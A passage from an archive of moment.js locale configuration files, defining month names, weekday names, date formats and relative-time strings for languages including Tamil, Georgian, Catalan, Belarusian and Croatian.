            return num + (isFuture || withoutSuffix ? ' perc' : ' perce');
        case 'h':
            return 'egy' + (isFuture || withoutSuffix ? ' óra' : ' órája');
        case 'hh':
            return num + (isFuture || withoutSuffix ? ' óra' : ' órája');
        case 'd':
            return 'egy' + (isFuture || withoutSuffix ? ' nap' : ' napja');
        case 'dd':
            return num + (isFuture || withoutSuffix ? ' nap' : ' napja');
        case 'M':
            return 'egy' + (isFuture || withoutSuffix ? ' hónap' : ' hónapja');
        case 'MM':
            return num + (isFuture || withoutSuffix ? ' hónap' : ' hónapja');
        case 'y':
            return 'egy' + (isFuture || withoutSuffix ? ' év' : ' éve');
        case 'yy':
            return num + (isFuture || withoutSuffix ? ' év' : ' éve');
    }
    return '';
}
function week(isFuture) {
    return (isFuture ? '' : '[múlt] ') + '[' + weekEndings[this.day()] + '] LT[-kor]';
}

export default moment.defineLocale('hu', {
    months : 'január_február_március_április_május_június_július_augusztus_szeptember_október_november_december'.split('_'),
    monthsShort : 'jan_feb_márc_ápr_máj_jún_júl_aug_szept_okt_nov_dec'.split('_'),
    weekdays : 'vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat'.split('_'),
    weekdaysShort : 'vas_hét_kedd_sze_csüt_pén_szo'.split('_'),
    weekdaysMin : 'v_h_k_sze_cs_p_szo'.split('_'),
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'YYYY.MM.DD.',
        LL : 'YYYY. MMMM D.',
        LLL : 'YYYY. MMMM D. H:mm',
        LLLL : 'YYYY. MMMM D., dddd H:mm'
    },
    meridiemParse: /de|du/i,
    isPM: function (input) {
        return input.charAt(1).toLowerCase() === 'u';
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 12) {
            return isLower === true ? 'de' : 'DE';
        } else {
            return isLower === true ? 'du' : 'DU';
        }
    },
    calendar : {
        sameDay : '[ma] LT[-kor]',
        nextDay : '[holnap] LT[-kor]',
        nextWeek : function () {
            return week.call(this, true);
        },
        lastDay : '[tegnap] LT[-kor]',
        lastWeek : function () {
            return week.call(this, false);
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s múlva',
        past : '%s',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�?����locale/ta.jsnu�[���//! moment.js locale configuration
//! locale : Tamil [ta]
//! author : Arjunkumar Krishnamoorthy : https://github.com/tk120404

import moment from '../moment';

var symbolMap = {
    '1': '௧',
    '2': '௨',
    '3': '௩',
    '4': '௪',
    '5': '௫',
    '6': '௬',
    '7': '௭',
    '8': '௮',
    '9': '௯',
    '0': '௦'
}, numberMap = {
    '௧': '1',
    '௨': '2',
    '௩': '3',
    '௪': '4',
    '௫': '5',
    '௬': '6',
    '௭': '7',
    '௮': '8',
    '௯': '9',
    '௦': '0'
};

export default moment.defineLocale('ta', {
    months : 'ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்'.split('_'),
    monthsShort : 'ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்'.split('_'),
    weekdays : 'ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை'.split('_'),
    weekdaysShort : 'ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி'.split('_'),
    weekdaysMin : 'ஞா_தி_செ_பு_வி_வெ_ச'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, HH:mm',
        LLLL : 'dddd, D MMMM YYYY, HH:mm'
    },
    calendar : {
        sameDay : '[இன்று] LT',
        nextDay : '[நாளை] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[நேற்று] LT',
        lastWeek : '[கடந்த வாரம்] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s இல்',
        past : '%s முன்',
        s : 'ஒரு சில விநாடிகள்',
        ss : '%d விநாடிகள்',
        m : 'ஒரு நிமிடம்',
        mm : '%d நிமிடங்கள்',
        h : 'ஒரு மணி நேரம்',
        hh : '%d மணி நேரம்',
        d : 'ஒரு நாள்',
        dd : '%d நாட்கள்',
        M : 'ஒரு மாதம்',
        MM : '%d மாதங்கள்',
        y : 'ஒரு வருடம்',
        yy : '%d ஆண்டுகள்'
    },
    dayOfMonthOrdinalParse: /\d{1,2}வது/,
    ordinal : function (number) {
        return number + 'வது';
    },
    preparse: function (string) {
        return string.replace(/[௧௨௩௪௫௬௭௮௯௦]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    // refer http://ta.wikipedia.org/s/1er1
    meridiemParse: /யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,
    meridiem : function (hour, minute, isLower) {
        if (hour < 2) {
            return ' யாமம்';
        } else if (hour < 6) {
            return ' வைகறை';  // வைகறை
        } else if (hour < 10) {
            return ' காலை'; // காலை
        } else if (hour < 14) {
            return ' நண்பகல்'; // நண்பகல்
        } else if (hour < 18) {
            return ' எற்பாடு'; // எற்பாடு
        } else if (hour < 22) {
            return ' மாலை'; // மாலை
        } else {
            return ' யாமம்';
        }
    },
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'யாமம்') {
            return hour < 2 ? hour : hour + 12;
        } else if (meridiem === 'வைகறை' || meridiem === 'காலை') {
            return hour;
        } else if (meridiem === 'நண்பகல்') {
            return hour >= 10 ? hour : hour + 12;
        } else {
            return hour + 12;
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\Έ���locale/uz-latn.jsnu�[���//! moment.js locale configuration
//! locale : Uzbek Latin [uz-latn]
//! author : Rasulbek Mirzayev : github.com/Rasulbeeek

import moment from '../moment';

export default moment.defineLocale('uz-latn', {
    months : 'Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr'.split('_'),
    monthsShort : 'Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek'.split('_'),
    weekdays : 'Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba'.split('_'),
    weekdaysShort : 'Yak_Dush_Sesh_Chor_Pay_Jum_Shan'.split('_'),
    weekdaysMin : 'Ya_Du_Se_Cho_Pa_Ju_Sha'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'D MMMM YYYY, dddd HH:mm'
    },
    calendar : {
        sameDay : '[Bugun soat] LT [da]',
        nextDay : '[Ertaga] LT [da]',
        nextWeek : 'dddd [kuni soat] LT [da]',
        lastDay : '[Kecha soat] LT [da]',
        lastWeek : '[O\'tgan] dddd [kuni soat] LT [da]',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'Yaqin %s ichida',
        past : 'Bir necha %s oldin',
        s : 'soniya',
        ss : '%d soniya',
        m : 'bir daqiqa',
        mm : '%d daqiqa',
        h : 'bir soat',
        hh : '%d soat',
        d : 'bir kun',
        dd : '%d kun',
        M : 'bir oy',
        MM : '%d oy',
        y : 'bir yil',
        yy : '%d yil'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\M���locale/en-il.jsnu�[���//! moment.js locale configuration
//! locale : English (Israel) [en-il]
//! author : Chris Gedrim : https://github.com/chrisgedrim

import moment from '../moment';

export default moment.defineLocale('en-il', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    }
});

PK.��\�c6w��locale/es-do.jsnu�[���//! moment.js locale configuration
//! locale : Spanish (Dominican Republic) [es-do]

import moment from '../moment';

var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'),
    monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_');

var monthsParse = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i];
var monthsRegex = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;

export default moment.defineLocale('es-do', {
    months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortDot;
        } else if (/-MMM-/.test(format)) {
            return monthsShort[m.month()];
        } else {
            return monthsShortDot[m.month()];
        }
    },
    monthsRegex: monthsRegex,
    monthsShortRegex: monthsRegex,
    monthsStrictRegex: /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,
    monthsShortStrictRegex: /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,
    monthsParse: monthsParse,
    longMonthsParse: monthsParse,
    shortMonthsParse: monthsParse,
    weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'),
    weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'),
    weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D [de] MMMM [de] YYYY',
        LLL : 'D [de] MMMM [de] YYYY h:mm A',
        LLLL : 'dddd, D [de] MMMM [de] YYYY h:mm A'
    },
    calendar : {
        sameDay : function () {
            return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextDay : function () {
            return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextWeek : function () {
            return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastDay : function () {
            return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastWeek : function () {
            return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'en %s',
        past : 'hace %s',
        s : 'unos segundos',
        ss : '%d segundos',
        m : 'un minuto',
        mm : '%d minutos',
        h : 'una hora',
        hh : '%d horas',
        d : 'un día',
        dd : '%d días',
        M : 'un mes',
        MM : '%d meses',
        y : 'un año',
        yy : '%d años'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal : '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�7�z	z	locale/ms-my.jsnu�[���//! moment.js locale configuration
//! locale : Malay [ms-my]
//! note : DEPRECATED, the correct one is [ms]
//! author : Weldan Jamili : https://github.com/weldan

import moment from '../moment';

export default moment.defineLocale('ms-my', {
    months : 'Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember'.split('_'),
    monthsShort : 'Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis'.split('_'),
    weekdays : 'Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu'.split('_'),
    weekdaysShort : 'Ahd_Isn_Sel_Rab_Kha_Jum_Sab'.split('_'),
    weekdaysMin : 'Ah_Is_Sl_Rb_Km_Jm_Sb'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY [pukul] HH.mm',
        LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm'
    },
    meridiemParse: /pagi|tengahari|petang|malam/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'pagi') {
            return hour;
        } else if (meridiem === 'tengahari') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'petang' || meridiem === 'malam') {
            return hour + 12;
        }
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 11) {
            return 'pagi';
        } else if (hours < 15) {
            return 'tengahari';
        } else if (hours < 19) {
            return 'petang';
        } else {
            return 'malam';
        }
    },
    calendar : {
        sameDay : '[Hari ini pukul] LT',
        nextDay : '[Esok pukul] LT',
        nextWeek : 'dddd [pukul] LT',
        lastDay : '[Kelmarin pukul] LT',
        lastWeek : 'dddd [lepas pukul] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dalam %s',
        past : '%s yang lepas',
        s : 'beberapa saat',
        ss : '%d saat',
        m : 'seminit',
        mm : '%d minit',
        h : 'sejam',
        hh : '%d jam',
        d : 'sehari',
        dd : '%d hari',
        M : 'sebulan',
        MM : '%d bulan',
        y : 'setahun',
        yy : '%d tahun'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\@�V���locale/ka.jsnu�[���//! moment.js locale configuration
//! locale : Georgian [ka]
//! author : Irakli Janiashvili : https://github.com/irakli-janiashvili

import moment from '../moment';

export default moment.defineLocale('ka', {
    months : {
        standalone: 'იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი'.split('_'),
        format: 'იანვარს_თებერვალს_მარტს_აპრილის_მაისს_ივნისს_ივლისს_აგვისტს_სექტემბერს_ოქტომბერს_ნოემბერს_დეკემბერს'.split('_')
    },
    monthsShort : 'იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ'.split('_'),
    weekdays : {
        standalone: 'კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი'.split('_'),
        format: 'კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს'.split('_'),
        isFormat: /(წინა|შემდეგ)/
    },
    weekdaysShort : 'კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ'.split('_'),
    weekdaysMin : 'კვ_ორ_სა_ოთ_ხუ_პა_შა'.split('_'),
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendar : {
        sameDay : '[დღეს] LT[-ზე]',
        nextDay : '[ხვალ] LT[-ზე]',
        lastDay : '[გუშინ] LT[-ზე]',
        nextWeek : '[შემდეგ] dddd LT[-ზე]',
        lastWeek : '[წინა] dddd LT-ზე',
        sameElse : 'L'
    },
    relativeTime : {
        future : function (s) {
            return (/(წამი|წუთი|საათი|წელი)/).test(s) ?
                s.replace(/ი$/, 'ში') :
                s + 'ში';
        },
        past : function (s) {
            if ((/(წამი|წუთი|საათი|დღე|თვე)/).test(s)) {
                return s.replace(/(ი|ე)$/, 'ის წინ');
            }
            if ((/წელი/).test(s)) {
                return s.replace(/წელი$/, 'წლის წინ');
            }
        },
        s : 'რამდენიმე წამი',
        ss : '%d წამი',
        m : 'წუთი',
        mm : '%d წუთი',
        h : 'საათი',
        hh : '%d საათი',
        d : 'დღე',
        dd : '%d დღე',
        M : 'თვე',
        MM : '%d თვე',
        y : 'წელი',
        yy : '%d წელი'
    },
    dayOfMonthOrdinalParse: /0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,
    ordinal : function (number) {
        if (number === 0) {
            return number;
        }
        if (number === 1) {
            return number + '-ლი';
        }
        if ((number < 20) || (number <= 100 && (number % 20 === 0)) || (number % 100 === 0)) {
            return 'მე-' + number;
        }
        return number + '-ე';
    },
    week : {
        dow : 1,
        doy : 7
    }
});

PK.��\�lB�@@locale/ca.jsnu�[���//! moment.js locale configuration
//! locale : Catalan [ca]
//! author : Juan G. Hurtado : https://github.com/juanghurtado

import moment from '../moment';

export default moment.defineLocale('ca', {
    months : {
        standalone: 'gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre'.split('_'),
        format: 'de gener_de febrer_de març_d\'abril_de maig_de juny_de juliol_d\'agost_de setembre_d\'octubre_de novembre_de desembre'.split('_'),
        isFormat: /D[oD]?(\s)+MMMM/
    },
    monthsShort : 'gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.'.split('_'),
    monthsParseExact : true,
    weekdays : 'diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte'.split('_'),
    weekdaysShort : 'dg._dl._dt._dc._dj._dv._ds.'.split('_'),
    weekdaysMin : 'dg_dl_dt_dc_dj_dv_ds'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM [de] YYYY',
        ll : 'D MMM YYYY',
        LLL : 'D MMMM [de] YYYY [a les] H:mm',
        lll : 'D MMM YYYY, H:mm',
        LLLL : 'dddd D MMMM [de] YYYY [a les] H:mm',
        llll : 'ddd D MMM YYYY, H:mm'
    },
    calendar : {
        sameDay : function () {
            return '[avui a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT';
        },
        nextDay : function () {
            return '[demà a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT';
        },
        nextWeek : function () {
            return 'dddd [a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT';
        },
        lastDay : function () {
            return '[ahir a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT';
        },
        lastWeek : function () {
            return '[el] dddd [passat a ' + ((this.hours() !== 1) ? 'les' : 'la') + '] LT';
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'd\'aquí %s',
        past : 'fa %s',
        s : 'uns segons',
        ss : '%d segons',
        m : 'un minut',
        mm : '%d minuts',
        h : 'una hora',
        hh : '%d hores',
        d : 'un dia',
        dd : '%d dies',
        M : 'un mes',
        MM : '%d mesos',
        y : 'un any',
        yy : '%d anys'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(r|n|t|è|a)/,
    ordinal : function (number, period) {
        var output = (number === 1) ? 'r' :
            (number === 2) ? 'n' :
            (number === 3) ? 'r' :
            (number === 4) ? 't' : 'è';
        if (period === 'w' || period === 'W') {
            output = 'a';
        }
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�pþ��locale/be.jsnu�[���//! moment.js locale configuration
//! locale : Belarusian [be]
//! author : Dmitry Demidov : https://github.com/demidov91
//! author: Praleska: http://praleska.pro/
//! Author : Menelion Elensúle : https://github.com/Oire

import moment from '../moment';

function plural(word, num) {
    var forms = word.split('_');
    return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]);
}
function relativeTimeWithPlural(number, withoutSuffix, key) {
    var format = {
        'ss': withoutSuffix ? 'секунда_секунды_секунд' : 'секунду_секунды_секунд',
        'mm': withoutSuffix ? 'хвіліна_хвіліны_хвілін' : 'хвіліну_хвіліны_хвілін',
        'hh': withoutSuffix ? 'гадзіна_гадзіны_гадзін' : 'гадзіну_гадзіны_гадзін',
        'dd': 'дзень_дні_дзён',
        'MM': 'месяц_месяцы_месяцаў',
        'yy': 'год_гады_гадоў'
    };
    if (key === 'm') {
        return withoutSuffix ? 'хвіліна' : 'хвіліну';
    }
    else if (key === 'h') {
        return withoutSuffix ? 'гадзіна' : 'гадзіну';
    }
    else {
        return number + ' ' + plural(format[key], +number);
    }
}

export default moment.defineLocale('be', {
    months : {
        format: 'студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня'.split('_'),
        standalone: 'студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань'.split('_')
    },
    monthsShort : 'студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж'.split('_'),
    weekdays : {
        format: 'нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу'.split('_'),
        standalone: 'нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота'.split('_'),
        isFormat: /\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/
    },
    weekdaysShort : 'нд_пн_ат_ср_чц_пт_сб'.split('_'),
    weekdaysMin : 'нд_пн_ат_ср_чц_пт_сб'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY г.',
        LLL : 'D MMMM YYYY г., HH:mm',
        LLLL : 'dddd, D MMMM YYYY г., HH:mm'
    },
    calendar : {
        sameDay: '[Сёння ў] LT',
        nextDay: '[Заўтра ў] LT',
        lastDay: '[Учора ў] LT',
        nextWeek: function () {
            return '[У] dddd [ў] LT';
        },
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                case 3:
                case 5:
                case 6:
                    return '[У мінулую] dddd [ў] LT';
                case 1:
                case 2:
                case 4:
                    return '[У мінулы] dddd [ў] LT';
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'праз %s',
        past : '%s таму',
        s : 'некалькі секунд',
        m : relativeTimeWithPlural,
        mm : relativeTimeWithPlural,
        h : relativeTimeWithPlural,
        hh : relativeTimeWithPlural,
        d : 'дзень',
        dd : relativeTimeWithPlural,
        M : 'месяц',
        MM : relativeTimeWithPlural,
        y : 'год',
        yy : relativeTimeWithPlural
    },
    meridiemParse: /ночы|раніцы|дня|вечара/,
    isPM : function (input) {
        return /^(дня|вечара)$/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'ночы';
        } else if (hour < 12) {
            return 'раніцы';
        } else if (hour < 17) {
            return 'дня';
        } else {
            return 'вечара';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(і|ы|га)/,
    ordinal: function (number, period) {
        switch (period) {
            case 'M':
            case 'd':
            case 'DDD':
            case 'w':
            case 'W':
                return (number % 10 === 2 || number % 10 === 3) && (number % 100 !== 12 && number % 100 !== 13) ? number + '-і' : number + '-ы';
            case 'D':
                return number + '-га';
            default:
                return number;
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\9����locale/ar-kw.jsnu�[���//! moment.js locale configuration
//! locale : Arabic (Kuwait) [ar-kw]
//! author : Nusret Parlak: https://github.com/nusretparlak

import moment from '../moment';

export default moment.defineLocale('ar-kw', {
    months : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
    monthsShort : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
    weekdays : 'الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[اليوم على الساعة] LT',
        nextDay: '[غدا على الساعة] LT',
        nextWeek: 'dddd [على الساعة] LT',
        lastDay: '[أمس على الساعة] LT',
        lastWeek: 'dddd [على الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'في %s',
        past : 'منذ %s',
        s : 'ثوان',
        ss : '%d ثانية',
        m : 'دقيقة',
        mm : '%d دقائق',
        h : 'ساعة',
        hh : '%d ساعات',
        d : 'يوم',
        dd : '%d أيام',
        M : 'شهر',
        MM : '%d أشهر',
        y : 'سنة',
        yy : '%d سنوات'
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\PM�w��locale/hr.jsnu�[���//! moment.js locale configuration
//! locale : Croatian [hr]
//! author : Bojan Marković : https://github.com/bmarkovic

import moment from '../moment';

function translate(number, withoutSuffix, key) {
    var result = number + ' ';
    switch (key) {
        case 'ss':
            if (number === 1) {
                result += 'sekunda';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'sekunde';
            } else {
                result += 'sekundi';
            }
            return result;
        case 'm':
            return withoutSuffix ? 'jedna minuta' : 'jedne minute';
        case 'mm':
            if (number === 1) {
                result += 'minuta';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'minute';
            } else {
                result += 'minuta';
            }
            return result;
        case 'h':
            return withoutSuffix ? 'jedan sat' : 'jednog sata';
        case 'hh':
            if (number === 1) {
                result += 'sat';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'sata';
            } else {
                result += 'sati';
            }
            return result;
        case 'dd':
            if (number === 1) {
                result += 'dan';
            } else {
                result += 'dana';
            }
            return result;
        case 'MM':
            if (number === 1) {
                result += 'mjesec';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'mjeseca';
            } else {
                result += 'mjeseci';
            }
            return result;
        case 'yy':
            if (number === 1) {
                result += 'godina';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'godine';
            } else {
                result += 'godina';
            }
            return result;
    }
}

export default moment.defineLocale('hr', {
    months : {
        format: 'siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca'.split('_'),
        standalone: 'siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac'.split('_')
    },
    monthsShort : 'sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.'.split('_'),
    monthsParseExact: true,
    weekdays : 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'),
    weekdaysShort : 'ned._pon._uto._sri._čet._pet._sub.'.split('_'),
    weekdaysMin : 'ne_po_ut_sr_če_pe_su'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd, D. MMMM YYYY H:mm'
    },
    calendar : {
        sameDay  : '[danas u] LT',
        nextDay  : '[sutra u] LT',
        nextWeek : function () {
            switch (this.day()) {
                case 0:
                    return '[u] [nedjelju] [u] LT';
                case 3:
                    return '[u] [srijedu] [u] LT';
                case 6:
                    return '[u] [subotu] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[u] dddd [u] LT';
            }
        },
        lastDay  : '[jučer u] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 0:
                case 3:
                    return '[prošlu] dddd [u] LT';
                case 6:
